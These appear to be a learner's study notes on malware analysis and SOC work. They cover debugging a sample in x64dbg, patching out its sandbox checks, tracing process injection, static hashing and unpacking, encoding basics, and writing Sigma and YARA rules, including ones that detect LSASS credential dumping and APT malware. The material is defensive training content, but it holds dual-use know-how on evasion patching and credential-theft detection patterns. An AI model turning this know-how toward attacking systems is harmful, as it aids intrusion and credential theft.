Debugging, an interactive approach to malware analysis, enhances understanding of code behavior by enabling real-time examination. By uniting static analysis insights from tools like IDA with debugging techniques, analysts gain a holistic view of malware functionality, sandbox evasion mechanisms, and Indicators of Compromise (IOCs).
Tools for Debugging
- x64dbg - A debugger for analyzing and controlling 64-bit executables, complete with:
- Disassembly View: Shows the program’s assembly code.
- Registers and Stack View: Reveals current CPU register values and stack frame.
- Memory Dump: Visualizes program memory for analyzing data structures and variables.
- INetSim - Simulates internet services in a controlled environment, enabling malware to interact with fake DNS, HTTP, and other services safely.
Setting Up Debugging in x64dbg
Loadingshell.exein x64dbg
- Launch x64dbg and select File > Open.
- Navigate to and open shell.exe.
- The program halts at its entry point in the disassembly view, with the default breakpoint set.
- To begin, press F9 or click Run.
Simulating Internet Services with INetSim
INetSim configures fake internet services, capturing and responding to network requests from the malware sample.
Configuring INetSim
- Edit Configuration:
sudo nano /etc/inetsim/inetsim.conf- Set
service_bind_addressanddns_default_ipto the machine’s IP. - Configure DNS defaults:
dns_default_hostname www dns_default_domainname iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
- Set
- Start INetSim:
sudo inetsim - Ensure the target’s DNS is pointed to the INetSim-running machine.
Bypassing Sandbox Checks
Malware frequently checks for virtual or sandbox environments before execution. Here, we patch these checks in x64dbg.
Step-by-Step Sandbox Bypass
- Copy Address from IDA:
- In IDA, identify the address of the cmp instruction for registry checks.
- Use Go to > Expression in x64dbg (Ctrl+G) to locate this address in x64dbg.
- Identify and Patch Comparison Instruction:
- Find the
cmpinstruction related toSandbox detected(e.g., address0x4032C8). - Modify
cmp [rsp+148h+Type], 1tocmp [rsp+148h+Type], 0using Spacebar to edit.
- Find the
- Patch Sandbox Strings in String References:
- Search for > Current Module > String references to find
Sandbox detected. - Set breakpoints on strings like
0x4032F13, and change conditional jumps (e.g.,jetojne).
- Search for > Current Module > String references to find
Patching and Saving the Bypassed Executable
After successful patching:
- Save the Patched Executable:
- Press Ctrl+P in x64dbg and select Patch File.
The saved file will bypass sandbox checks in future executions, allowing all behaviors to manifest.
Network Traffic Analysis
Capturing Malware Traffic with Wireshark
- Start Wireshark to capture all network traffic generated by the malware.
- Analyze:
- DNS Requests: Observing connections to domains like
ms-windows-update[.]com. - HTTP Requests: Malware appends the computer hostname to the
User-Agent. - HTTP Response: INetSim’s response, like the default binary, will trigger messages in malware.
- DNS Requests: Observing connections to domains like
Process Injection Analysis
Process injection is a common technique where malware injects code into another process (e.g., notepad.exe).
Setting Breakpoints for Injection Functions
- In x64dbg:
- Search and set breakpoints on
VirtualAllocEx,WriteProcessMemory, andCreateRemoteThread.
- Search and set breakpoints on
- Attach to notepad.exe:
- Open another x64dbg instance, Attach to Process (Alt+A), and select notepad.exe.
- Monitor injected code in notepad.exe’s memory using memory dumps.
- Verify Shellcode Injection:
- Examine WriteProcessMemory’s
lpBaseAddressparameter to identify injection address. - Copy and paste this address into notepad.exe’s memory dump view.
- Examine WriteProcessMemory’s
- Inspect Injected Shellcode:
- Run shell.exe, observe the populated memory, and save the shellcode for analysis.
Dynamic Analysis
Dynamic analysis involves observing malware behavior in a controlled environment by executing the malware and logging its activities. This approach allows us to see real-time changes to the system, unlike static analysis, where we examine the malware without execution.
Key Steps in Dynamic Analysis
- Environment Setup:
- Create an isolated virtual machine (VM) to safely execute malware without risk to the broader network. Mimic real-world systems, including common applications, user data, and network configurations.
- Baseline Capture:
- Take a system snapshot before executing malware. Record details on system files, registry states, running processes, and network configurations to use as a reference for changes introduced by the malware.
- Tool Deployment (Pre-Execution):
- Use monitoring tools like ProcMon (Process Monitor) from Sysinternals for logging system events (file access, registry changes, etc.).
- Additional tools include Wireshark and tcpdump for network traffic, Regshot for registry snapshots, and simulators like INetSim, FakeDNS, or FakeNet-NG.
- Malware Execution:
- With logging tools active, execute the malware sample within the VM. Allow it to run long enough to record meaningful behavioral data.
- Observation and Logging:
- Monitor and log malware actions, focusing on process creation, file and registry modifications, and network traffic.
- Data Analysis:
- After stopping the malware and logging tools, compare the system’s post-execution state with the baseline to identify modifications.
Dynamic Analysis with Noriben
Noriben simplifies dynamic analysis by acting as a Python wrapper for ProcMon, filtering and categorizing output to focus on suspicious behaviors.
Steps for Using Noriben
- Setup Noriben:
C:\\Tools\\Noriben-master> python .\\Noriben.py- Open the command line, navigate to
C:\\Tools\\Noriben-master, and launch Noriben:
- Open the command line, navigate to
- Launch ProcMon:
- Noriben initiates ProcMon with preconfigured filters to reduce irrelevant data and highlight malicious indicators.
- Execute the Malware:
- Run the malware sample (e.g.,
shell.exeinC:\\Samples\\MalwareAnalysis). Allow it to execute, then terminate it after logging activity.
- Run the malware sample (e.g.,
- Stop Logging:
- End the session in the Noriben Command Prompt with
Ctrl+C, which stops ProcMon and saves data.
- End the session in the Noriben Command Prompt with
- Review Report:
- Noriben produces a
.txtreport summarizing suspicious activity by categorizing file, process, registry, and network interactions.
- Noriben produces a
Using ProcMon Directly for Detailed Insights
Sometimes, Noriben’s filtering may omit certain details. In such cases, manually run ProcMon with a broader configuration to capture all activities:
- Open ProcMon:
- Launch ProcMon from
C:\\Tools\\sysinternalsand configure it with a default, inclusive setup.
- Launch ProcMon from
- Set Filters:
- Use
Ctrl+Lto open the filter settings. For example, filter forProcess Nameasshell.exeto isolate its actions.
- Use
- Execute Malware:
- Re-run
shell.exeand allow ProcMon to log its activity.
- Re-run
- Examine Detection Techniques:
- Review the ProcMon output. Malware may attempt sandbox detection by querying the registry for items like VMware Tools (e.g., registry keys indicating a virtual machine).
Additional Dynamic Analysis Tools
- Sandboxes: Automated analysis tools like Cuckoo Sandbox, Joe Sandbox, or FireEye’s Dynamic Threat Intelligence cloud for behavior reports.
- Note: Some advanced malware can detect sandbox environments and may alter its behavior to evade detection.
Example Commands and Configurations
Start Noriben:
python Noriben.py
Run ProcMon with default configuration:
- Launch ProcMon.
- Apply filter (
Ctrl+L): Set Process Name toshell.exeand clickApply. - Observe results for malware behavior, such as registry queries that may reveal sandbox detection attempts.
Introduction To Malware & Malware Analysis
This module provides a foundational overview of malware analysis, aimed at enabling SOC analysts to perform essential malware analysis tasks, particularly focusing on Windows-based malware.
Types of Malware
- Viruses: Infect host files and spread by attaching to legitimate programs.
- Worms: Self-replicating, spread autonomously over networks.
- Trojans: Disguised as legitimate software, create backdoors for unauthorized access.
- Ransomware: Encrypts data and demands ransom for decryption keys.
- Spyware: Collects user data without consent, tracking activities or capturing credentials.
- Adware: Displays intrusive ads and may collect browsing data.
- Botnets: Networks of compromised devices used for attacks or malware distribution.
- Rootkits: Gain control over OS components, concealing malicious activity.
- Backdoors/RATs: Enable remote access and prolonged control of a compromised system.
- Droppers: Carry additional malware payloads, ensuring stealthy installation.
- Information Stealers: Focused on stealing sensitive data like passwords and PII.
Malware Samples Resources
For malware research, handling samples should be done in secure, controlled environments. Notable sources include:
- VirusShare
- Hybrid Analysis
- TheZoo (GitHub)
- Malware-Traffic-Analysis.net
- VirusTotal
- ANY.RUN
- Contagio Malware Dump
- VX Underground
Malware/Evidence Acquisition
During investigations, disk imaging and memory acquisition tools are vital. Recommended tools include:
Disk Imaging Tools
- FTK Imager: Widely used for creating disk images.
- OSFClone: Open-source, supports multiple file systems.
- DD/DCFLDD: Command-line tools on Unix-based systems, with forensic-focused features.
Memory Acquisition Tools
- DumpIt: Simple tool for memory dumps on Windows and Linux.
- MemDump: Command-line utility for RAM capture.
- Belkasoft RAM Capturer: Effective for Windows systems, even with anti-debugging.
- Magnet RAM Capture: User-friendly tool by Magnet Forensics.
- LiME: Linux Memory Extractor, effective for volatile memory acquisition.
Additional Evidence Acquisition
- KAPE: Targeted artifact collection, quick analysis.
- Velociraptor: Host-based incident response tool using Velocidex Query Language (VQL).
Malware Analysis: Definition, Purpose, & Techniques
Malware Analysis is the study of malware to understand its behavior, origin, and impact. This helps in detection, reverse engineering, behavioral analysis, and threat intelligence gathering.
Goals of Malware Analysis
- Detection and Classification: Identifying and categorizing malware to develop detection rules.
- Reverse Engineering: Disassembling code to understand functionality, encryption, and control infrastructure.
- Behavioral Analysis: Observing malware’s interactions with systems (e.g., file changes, network connections).
- Threat Intelligence: Gathering attacker tactics, techniques, and malware origins.
Common Malware Analysis Techniques
- Static Analysis: Analyzing malware code without execution to gain initial insights.
- Dynamic Analysis: Executing malware in a controlled environment to observe behavior.
- Code Analysis: Reverse engineering code to understand structure and functionality.
- Memory Analysis: Examining system memory to detect runtime modifications.
- Malware Unpacking: Extracting hidden code from packed malware to reveal actual functions.
Static Analysis On Linux
Static analysis involves examining malware without executing it. It helps identify malware properties, such as file type, strings, hashes, embedded elements, and packer information, serving as a foundation for deeper analysis.
Key Static Analysis Components
- File Type: Identifying actual file types prevents reliance on potentially misleading file extensions.
- File Hashes: Unique identifiers for tracking malware samples.
- Strings: Extracted ASCII and Unicode strings provide insights into potential malware functionality.
- Embedded Elements: Identifiable elements (like domains or file paths).
- Packer Information: Detects if malware is packed or compressed, which may obscure analysis.
- Imports/Exports: Identifies imported and exported functions.
- Assembly Code: Provides low-level insights.
File Type Identification
To identify the actual file type:
file /path/to/malware.exe
Example result:
PE32 executable (GUI) Intel 80386, for MS Windows
Alternatively, inspect the file header:
hexdump -C /path/to/malware.exe | more
Look for the “MZ” (4D 5A) magic number to confirm it’s a Windows executable.
Malware Fingerprinting
File Hashes
Generate MD5 or SHA256 hashes to uniquely identify malware samples:
md5sum /path/to/malware.exe
sha256sum /path/to/malware.exe
Use these hashes to cross-reference with online databases like VirusTotal.
Import Hash (IMPHASH)
IMPHASH identifies similar malware by hashing imports in alphabetical order. Example Python code:
import sys
import pefile
pe_file = sys.argv[1]
pe = pefile.PE(pe_file)
imphash = pe.get_imphash()
print(imphash)
Run the script:
python3 imphash_calc.py /path/to/malware.exe
Fuzzy Hashing (SSDEEP)
Calculate SSDEEP for similarity matching:
ssdeep /path/to/malware.exe
Section Hashing (Hashing PE Sections)
Hashing individual PE sections helps detect small changes in malware. Example Python code:
import sys
import pefile
pe_file = sys.argv[1]
pe = pefile.PE(pe_file)
for section in pe.sections:
print(section.Name, "MD5 hash:", section.get_hash_md5())
print(section.Name, "SHA256 hash:", section.get_hash_sha256())
Run the script:
python3 section_hashing.py /path/to/malware.exe
String Analysis
Strings help reveal filenames, IPs, registry paths, API functions, etc. Extract strings:
strings -n 15 /path/to/malware.exe
To analyze obfuscated strings, use FLOSS:
floss /path/to/malware.exe
Unpacking UPX-Packed Malware
Packed malware obfuscates or compresses code. Detect UPX-packed malware by looking for UPX in the strings output.
Unpack with UPX:
upx -d -o /path/to/unpacked_malware.exe /path/to/malware.exe
After unpacking, rerun strings to see unobfuscated data:
strings /path/to/unpacked_malware.exe
Static Analysis On Windows
Static analysis on Windows mirrors similar tasks to Linux but uses Windows-specific tools to identify file properties, hashes, strings, and packing details. This guide covers essential commands and tools for Windows-based static malware analysis.
Key Static Analysis Components on Windows
- File Type Identification: Use tools to verify executable types (e.g., PE files).
- File Hashing: Generate unique file hashes (MD5, SHA256) for malware tracking.
- Import Hashing (IMPHASH): A hash based on imported functions to identify similar samples.
- Fuzzy Hashing (SSDEEP): Content similarity hashing for slight variations.
- Section Hashing: Hashing individual PE sections to detect changes.
- String Analysis: Extracts embedded text strings, often revealing useful insights.
- Unpacking Packed Malware: Remove obfuscation to reveal underlying code.
File Type Identification
Use CFF Explorer (located at C:\\Tools\\Explorer Suite) to check the file type and confirm it as a Windows executable by looking for the ASCII string “MZ” in the file header.
Malware Fingerprinting
File Hashing with PowerShell
Generate MD5 or SHA256 hashes for identifying malware samples:
Get-FileHash -Algorithm MD5 C:\\Samples\\MalwareAnalysis\\malware.exe
Get-FileHash -Algorithm SHA256 C:\\Samples\\MalwareAnalysis\\malware.exe
Import Hash (IMPHASH) Calculation
IMPHASH provides a consistent hash for identical imports across similar samples. It can be calculated using pefile in Python:
import sys
import pefile
pe_file = sys.argv[1]
pe = pefile.PE(pe_file)
print(pe.get_imphash())
Run the script:
python imphash_calc.py C:\\Samples\\MalwareAnalysis\\malware.exe
Fuzzy Hashing (SSDEEP)
Use SSDEEP for similarity matching of malware variations:
C:\\Tools\\ssdeep-2.14.1\\ssdeep.exe C:\\Samples\\MalwareAnalysis\\malware.exe
Section Hashing with Python
Section hashing is useful for identifying modified sections in similar malware samples. Example code using pefile:
import sys
import pefile
pe_file = sys.argv[1]
pe = pefile.PE(pe_file)
for section in pe.sections:
print(section.Name, "MD5 hash:", section.get_hash_md5())
print(section.Name, "SHA256 hash:", section.get_hash_sha256())
To use section hashing, tools like pestudio (located at C:\\Tools\\pestudio\\pestudio) can also be helpful.
String Analysis
Extracting strings provides insights into the malware’s behavior, such as IPs, file paths, or API calls. Use Strings from Sysinternals:
C:\\Sysinternals\\strings.exe C:\\Samples\\MalwareAnalysis\\malware.exe
Alternatively, use FLOSS for deobfuscating strings:
C:\\FLOSS\\floss.exe C:\\Samples\\MalwareAnalysis\\malware.exe
Unpacking UPX-Packed Malware
UPX packing often conceals code. Identify packed files by looking for “UPX” in the strings output. Unpack with UPX:
C:\\Tools\\upx\\upx-4.0.2-win64\\upx.exe -d -o unpacked_malware.exe C:\\Samples\\MalwareAnalysis\\packed\\malware.exe
After unpacking, rerun strings to examine the revealed contents:
C:\\Sysinternals\\strings.exe unpacked_malware.exe
Windows Internals
Understanding Windows internals is crucial for malware analysis, as it provides insight into system operations and helps identify malware behavior.
Windows Operating Modes
- User Mode: Limited access; applications interact with the OS via APIs. Malware in user mode can manipulate files, registry settings, and attempt privilege escalation.
- Kernel Mode: High privilege; unrestricted access to hardware and system functions. Kernel-mode malware can alter system behavior, intercept calls, and conceal itself.
Windows Architecture Overview
User-Mode Components
- System Support Processes: Essential system processes like
winlogon.exe,smss.exe, andservices.exe. - Service Processes: Background services, e.g., Windows Update and Task Scheduler.
- User Applications: Standard applications use APIs routed via
NTDLL.DLLfor kernel interaction. - Environment Subsystems: Provides environments for specific processes (e.g., Win32, POSIX).
- Subsystem DLLs: Maps documented functions to native calls (e.g.,
kernelbase.dll,user32.dll).
Kernel-Mode Components
- Executive: Manages OS aspects like I/O, object, security, and processes.
- Kernel: Handles low-level functions like scheduling and synchronization.
- Device Drivers: Enables hardware interaction.
- Hardware Abstraction Layer (HAL): Standardizes hardware communication.
- Win32k.sys: Manages the GUI and visual rendering.
Windows API Call Flow
Malware often uses Windows API calls to interact with system components for malicious tasks. Understanding API flow is key for detecting malware actions.
- Example:
ReadProcessMemoryAPI, which allows reading other processes’ memory.- Call Flow: The function call goes from
kernel32.dll->NTDLL.DLL->NtReadVirtualMemory-> kernel syscall. - The System Service Descriptor Table (SSDT) manages system service routines, mapping system calls to kernel functions.
- The kernel validates access and performs the read, then transitions back to user mode with the requested data.
- Call Flow: The function call goes from
Portable Executable (PE) Format
Windows uses the PE format for executables, DLLs, etc. Knowledge of PE structure is essential for analyzing executables, identifying malicious code, and extracting IOCs.
Common PE Sections
- .text: Executable code.
- .data: Initialized global/static variables.
- .rdata: Read-only data like constants and strings.
- .pdata: Exception handling data.
- .bss: Uninitialized data.
- .rsrc: Embedded resources (icons, images).
- .idata: Imported functions.
- .edata: Exported functions.
- .reloc: Relocation data for loading.
Analyzing PE sections reveals information about the code structure, imports, exports, and embedded resources.
Processes
A process represents an executing program with various system resources:
- PID: Unique identifier for tracking.
- Virtual Address Space: Memory space for code, data, stack, etc.
- Executable Code: Instructions and resources on disk.
- Handles Table: References for resources like files, devices.
- Security Context: Access rights through tokens.
- Threads: Units of execution within the process.
Understanding these helps track malware behavior, resource access, and memory management.
Dynamic-Link Library (DLL)
DLLs contain reusable functions and resources used by applications and malware alike. Malware may exploit DLL imports and exports for executing malicious actions.
Import Functions
- Functions from external libraries, linked at runtime, facilitate system interactions.
- Example of Malware Injection: Functions like
OpenProcess,VirtualAllocEx,WriteProcessMemory, andCreateRemoteThreadare used for injecting code into another process.
Export Functions
- Functions that DLLs provide for other applications, acting as an interface for interaction.
- Example:
Kernel32.dllexports, viewed via tools like CFF Explorer or x64dbg, provide insights into OS-level functions available to processes.
10. JavaScript Deobfuscation
Code Analysis
The generateSerial function in the JavaScript file secret.js creates and sends a POST request to /serial.php using an XMLHttpRequest object, but without any data in the body or handling of a response. Here’s a breakdown of the code and what it implies:
Code Overview
'use strict';
function generateSerial() {
var xhr = new XMLHttpRequest;
var url = "/serial.php";
xhr.open("POST", url, true);
xhr.send(null);
};
Code Analysis Steps
- Variables and Initialization:
xhr: Creates a newXMLHttpRequestobject, which is commonly used to make HTTP requests in JavaScript.url: Stores the endpoint/serial.php, presumed to be on the same domain as no full URL is specified.
- Function Logic:
xhr.open("POST", url, true): Configures the request to use the POST method and the specified URL (/serial.php). The third parametertrueindicates that the request is asynchronous.xhr.send(null): Sends the request without any data, effectively making an empty POST request to/serial.php.
- Purpose and Usage:
- This function seems designed to send a request to
/serial.php, possibly to generate or verify a serial number on the server-side. It does not yet send data or process a response, suggesting it’s either incomplete or meant to be used alongside other code or events, like clicking a button labeled “Generate Serial.” - Since the function does not interact with the page (no HTML elements observed for triggering this function), it appears it may not be in active use yet.
- This function seems designed to send a request to
Security Implications
Testing this function by triggering it manually or replicating the HTTP request could uncover a hidden server-side functionality. Since the code is not fully implemented or visible in the application UI, the /serial.php endpoint may contain unfinished features or security vulnerabilities (e.g., insufficient validation, improper access control).
Next Steps
- Replicate the Request: Use a tool like
curlor a browser’s developer console to send an empty POST request to/serial.php. - Inspect Server Response: Analyze the server’s response to understand what the
/serial.phpendpoint is designed to do. - Evaluate for Potential Vulnerabilities: Look for signs of potential issues in the endpoint, such as debug information, error messages, or unintended behaviors that could indicate vulnerabilities.
Decoding
Common Encoding Techniques
- Base64 Encoding:
- Purpose: Converts data to a readable alphanumeric format with
+and/, adding=as padding to ensure length is a multiple of 4. - Spotting Base64: Often contains alphanumeric characters,
+,/, and ends with=for padding. - Encoding in Base64:
echo "<https://www.hackthebox.eu/>" | base64 - Decoding Base64:
echo "aHR0cHM6Ly93d3cuaGFja3RoZWJveC5ldS8K" | base64 -d - Example: The encoded response
ZG8gdGhlIGV4ZXJjaXNlLCBkb24ndCBjb3B5IGFuZCBwYXN0ZSA7KQo=can be decoded to reveal the hidden message:echo "ZG8gdGhlIGV4ZXJjaXNlLCBkb24ndCBjb3B5IGFuZCBwYXN0ZSA7KQo=" | base64 -d
- Purpose: Converts data to a readable alphanumeric format with
- Hex Encoding:
- Purpose: Represents each character by its hexadecimal ASCII value.
- Spotting Hex: Only includes characters
0-9anda-f. - Encoding in Hex:
echo "<https://www.hackthebox.eu/>" | xxd -p - Decoding Hex:
echo "68747470733a2f2f7777772e6861636b746865626f782e65752f0a" | xxd -p -r
- Caesar Cipher / ROT13:
- Purpose: Shifts each letter by a set number (e.g.,
ROT13shifts each letter 13 positions forward). - Spotting Caesar Cipher: Retains recognizable patterns since each character shifts to another within the alphabet.
- Encoding & Decoding with ROT13:
echo "<https://www.hackthebox.eu/>" | tr 'A-Za-z' 'N-ZA-Mn-za-m' - Decoding ROT13 (same command can decode since it’s reversible):
echo "uggcf://jjj.unpxgurobk.rh/" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
- Purpose: Shifts each letter by a set number (e.g.,
Identifying Encoding Types
Tools like Cipher Identifier can help recognize various encoding types. For strings that don’t fit common patterns, these tools can automatically determine possible encoding types.
Advanced Encoding & Encryption
While encoding transforms text into a different format, encryption requires a key and is used for security. Without the key, encrypted data is challenging to decode, making it a powerful method for securely obfuscating information.
In real-world scenarios, we may use these encoding and encryption techniques to identify hidden information, test vulnerabilities, and conduct comprehensive code analysis.
HTTP Requests
cURL Basics
- Basic GET Request: To fetch a webpage’s content, we simply specify the URL with
curl:curl http://SERVER_IP:PORT/Example Output: ```
</html> <!DOCTYPE html>
Secret Serial Generator
This page generates secret serials!
</div> </body> </html> ``` This output matches what we saw when inspecting the page source earlier. 2. **Basic POST Request**: To send a `POST` request (similar to what the `generateSerial` function does), we can use the `X POST` flag: ``` curl -s http://SERVER_IP:PORT/ -X POST ``` Here, the `-s` option (silent mode) is used to suppress progress and error messages, displaying only the response content. 3. **POST Request with Data**: Typically, `POST` requests include data sent in the request body. For this, we add the `d` option to specify data parameters: ``` curl -s http://SERVER_IP:PORT/ -X POST -d "param1=sample" ``` **Next Steps** In the following section, we’ll simulate the exact `POST` request to `/serial.php` as defined in `generateSerial`. Although this function does not send data, we can use `cURL` to explore possible responses from the server, gaining further insights into the endpoint’s functionality. #### **Tools** **Tools Used** | **Tool** | **Use Case** | |---|---| | [https://jsconsole.com](https://jsconsole.com/) | Test run code | | [https://javascript-minifier.com/](https://javascript-minifier.com/) | `Code minification` means having the entire code in a single (often very long) line. | | [http://beautifytools.com/javascript-obfuscator.php](http://beautifytools.com/javascript-obfuscator.php) | Packing / Obfuscating | | [https://obfuscator.io/](https://obfuscator.io/) | Advanced Obfuscation | | [https://beautifier.io/](https://beautifier.io/) | Beautifier | | [https://matthewfl.com/unPacker.html](https://matthewfl.com/unPacker.html) | Deobfuscation | **11. YARA & Sigma for SOC ANalysts** #### **Developing Sigma Rules** **Overview** This guide walks through creating Sigma rules manually, using real-world examples to detect suspicious activities. **Example 1: Detecting LSASS Credential Dumping** In this scenario, the `shell.exe` process (mimikatz) attempts to access `lsass.exe` memory. Sysmon Event ID 10 logs this activity when `shell.exe` tries to access the LSASS memory, capturing it in event logs. **Relevant Information** - **Sysmon Event ID**: 10 - **Critical Fields**: - `TargetImage`: Specifies the target process (e.g., `lsass.exe`) - `GrantedAccess`: Specific permissions, commonly `0x1010` (read and query access) **LSASS Credential Dumping Detection Rule** ``` title: LSASS Access with rare GrantedAccess flag status: experimental description: Detects process access to LSASS memory with suspicious access flag 0x1010 date: 2023/07/08 tags: - attack.credential_access - attack.t1003.001 logsource: category: process_access product: windows detection: selection: TargetImage|endswith: '\\lsass.exe' GrantedAccess|endswith: '0x1010' condition: selection ``` **Explanation** 1. **Title**: Clearly describes the rule's purpose. 2. **Status**: Indicates it’s still in testing. 3. **Detection Criteria**: - **TargetImage**: Matches logs where the target process ends with `lsass.exe`. - **GrantedAccess**: Ensures the access flag is `0x1010`. - **Condition**: Triggers if the criteria in `selection` are met. **Running the Rule with sigmac** To convert the Sigma rule into a PowerShell query: ``` python sigmac -t powershell 'C:\\Rules\\sigma\\proc_access_win_lsass_access.yml' ``` **Robust Rule: Adding Filters for Suspicious Paths and False Positives** A more advanced version includes filtering out common false positives: ``` title: LSASS Access From Program in Potentially Suspicious Folder id: fa34b441-961a-42fa-a100-ecc28c886725 status: experimental description: Detects process access to LSASS memory with suspicious access flags and from a potentially suspicious folder tags: - attack.credential_access - attack.t1003.001 logsource: category: process_access product: windows detection: selection: TargetImage|endswith: '\\lsass.exe' GrantedAccess|endswith: - '10' - '30' - '50' - '70' - '90' - 'B0' - 'D0' - 'F0' SourceImage|contains: - '\\Temp\\' - '\\Users\\Public\\' condition: selection and not 1 of filter_optional_* ``` **Example 2: Detecting Multiple Failed Logins from Single Source** Event ID 4776 logs credential validation attempts. When multiple failed attempts are observed from a single workstation, it may indicate an attempted breach. ``` title: Failed NTLM Logins with Different Accounts from Single Source System id: 6309ffc4-8fa2-47cf-96b8-a2f72e58e538 logsource: product: windows service: security detection: selection2: EventID: 4776 TargetUserName: '*' Workstation: '*' condition: selection2 | count(TargetUserName) by Workstation > 3 ``` **Explanation** - **Logsource**: Focuses on Windows Security logs. - **Detection**: Filters for Event ID 4776 and counts instances of `TargetUserName` by `Workstation`. - **Condition**: Flags if a single source attempts more than three logins with different accounts. **Sigma Rule Development Resources** The following links provide additional guidance and best practices for Sigma rule development: - Official Documentation: [https://github.com/SigmaHQ/sigma/wiki/Rule-Creation-Guide](https://github.com/SigmaHQ/sigma/wiki/Rule-Creation-Guide) - Specification: [https://github.com/SigmaHQ/sigma-specification](https://github.com/SigmaHQ/sigma-specification) - Sigma Development Articles: [https://tech-en.netlify.app/articles/en510480/](https://tech-en.netlify.app/articles/en510480/) #### **Developing YARA Rules** **1. Basic YARA Rule for UPX-packed Executables** **Perform String Analysis**: ``` Kailez@htb[/htb]$ strings svchost.exe ``` **Sample YARA Rule**: ``` rule UPX_packed_executable { meta: description = "Detects UPX-packed executables" strings: $string_1 = "UPX0" $string_2 = "UPX1" $string_3 = "UPX2" condition: all of them } ``` **2. Generating a YARA Rule with yarGen** **Command**: ``` Kailez@htb[/htb]$ python3 yarGen.py -m /home/htb-student/temp -o htb_sample.yar ``` **Result**: ``` Kailez@htb[/htb]$ cat htb_sample.yar ``` **3. Manual YARA Rule Development Examples** **Example 1: ZoxPNG RAT Used by APT17** 1. **String Analysis**: ``` Kailez@htb[/htb]$ strings legit.exe ``` 2. **Calculate Imphash**: ``` Kailez@htb[/htb]$ python3 imphash_calc.py /home/htb-student/Samples/YARASigma/legit.exe ``` **APT17 YARA Rule**: ``` import "pe" rule APT17_Malware_Oct17_Gen { meta: description = "Detects APT17 malware" license = "Detection Rule License 1.1 <https://github.com/Neo23x0/signature-base/blob/master/LICENSE>" author = "Florian Roth (Nextron Systems)" reference = "<https://goo.gl/puVc9q>" date = "2017-10-03" hash1 = "0375b4216334c85a4b29441a3d37e61d7797c2e1cb94b14cf6292449fb25c7b2" hash2 = "07f93e49c7015b68e2542fc591ad2b4a1bc01349f79d48db67c53938ad4b525d" hash3 = "ee362a8161bd442073775363bf5fa1305abac2ce39b903d63df0d7121ba60550" strings: $x1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NETCLR 2.0.50727)" fullword ascii $x2 = "http://%s/imgres?q=A380&hl=en-US&sa=X&biw=1440&bih=809&tbm=isus&tbnid=aLW4-J8Q1lmYBM" ascii $s1 = "hWritePipe2 Error:%d" fullword ascii $s2 = "Not Support This Function!" fullword ascii $s3 = "Cookie: SESSIONID=%s" fullword ascii $s4 = "<http://0.0.0.0/1>" fullword ascii $s5 = "Content-Type: image/x-png" fullword ascii $s6 = "Accept-Language: en-US" fullword ascii $s7 = "IISCMD Error:%d" fullword ascii $s8 = "[IISEND=0x%08X][Recv:] 0x%08X %s" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 200KB and ( pe.imphash() == "414bbd566b700ea021cfae3ad8f4d9b9" or 1 of ($x*) or 6 of them ) } ``` **Example 2: Neuron Used by Turla** **Reverse Engineering with**`monodis`: ``` Kailez@htb[/htb]$ monodis --output=code Microsoft.Exchange.Service.exe Kailez@htb[/htb]$ cat code ``` **Neuron Service YARA Rule**: ``` rule neuron_functions_classes_and_vars { meta: description = "Rule for detection of Neuron based on .NET functions and class names" author = "NCSC UK" reference = "<https://www.ncsc.gov.uk/file/2691/download?token=RzXWTuAB>" reference2 = "<https://www.ncsc.gov.uk/alerts/turla-group-malware>" hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29" strings: $class1 = "StorageUtils" ascii $class2 = "WebServer" ascii $func1 = "AddConfigAsString" ascii $func2 = "EncryptScript" ascii $dotnetMagic = "BSJB" ascii condition: uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550 and $dotnetMagic and 6 of them } ``` **Example 3: Stonedrill Used in Shamoon 2.0 Attacks** **Entropy Analysis**: ``` Kailez@htb[/htb]$ python3 entropy_pe_section.py -f /home/htb-student/Samples/YARASigma/sham2.exe ``` **Stonedrill YARA Rule**: ``` import "pe" import "math" rule susp_file_enumerator_with_encrypted_resource_101 { meta: copyright = "Kaspersky Lab" description = "Generic detection for samples that enumerate files with encrypted resource called 101" reference = "<https://securelist.com/from-shamoon-to-stonedrill/77725/>" hash = "2cd0a5f1e9bcce6807e57ec8477d222a" strings: $mz = "This program cannot be run in DOS mode." $a1 = "FindFirstFile" ascii wide nocase $a3 = "FindResource" ascii wide nocase condition: uint16(0) == 0x5A4D and all of them and filesize < 700000 and pe.number_of_sections > 4 and pe.number_of_signatures == 0 and pe.number_of_resources > 1 and pe.number_of_resources < 15 and for any i in (0..pe.number_of_resources - 1): ( (math.entropy(pe.resources[i].offset, pe.resources[i].length) > 7.8) and pe.resources[i].id == 101 and pe.resources[i].length > 20000 and pe.resources[i].language == 0 and not ($mz in (pe.resources[i].offset..pe.resources[i].offset + pe.resources[i].length)) ) } ``` --- **Resources for YARA Rule Development** - **Official Documentation**: [YARA Documentation](https://yara.readthedocs.io/) - **Kaspersky Guide**: Effective YARA Rule Development #### **Hunting Evil with Sigma (Chainsaw Edition)** In cybersecurity, time is of the essence. Rapid analysis allows us to not just identify but also respond to threats before they escalate. When we're up against the clock, racing to find a needle in a haystack of Windows Event Logs without access to a SIEM, Sigma rules combined with tools like Chainsaw and Zircolite are our best allies. Both tools allow us to use Sigma rules to scan not just one, but multiple EVTX files concurrently, offering a broader and more comprehensive scan in a very efficient manner. Let's now navigate to the bottom of this section and click on "Click here to spawn the target system!". Then, let's RDP into the Target IP using the provided credentials. The vast majority of the actions/commands covered from this point up to end of this section can be replicated inside the target, offering a more comprehensive grasp of the topics presented. **Scanning Windows Event Logs With Chainsaw** Chainsaw is a freely available tool designed to swiftly pinpoint security threats within Windows Event Logs. This tool enables efficient keyword-based event log searches and is equipped with integrated support for Sigma detection rules as well as custom Chainsaw rules. Therefore, it serves as a valuable asset for validating our Sigma rules by applying them to actual event logs. Chainsaw can be found inside the `C:\\Tools\\chainsaw` directory of this section's target. Let's first run Chainsaw with `-h` flag to see the help menu. **Example 1: Hunting for Multiple Failed Logins From Single Source With Sigma** Let's put Chainsaw to work by applying our most recent Sigma rule, `win_security_susp_failed_logons_single_source2.yml` (available at `C:\\Rules\\sigma`), to `lab_events_2.evtx` (available at `C:\\Events\\YARASigma\\lab_events_2.evtx`) that contains multiple failed login attempts from the same source. ``` PS C:\\Tools\\chainsaw> 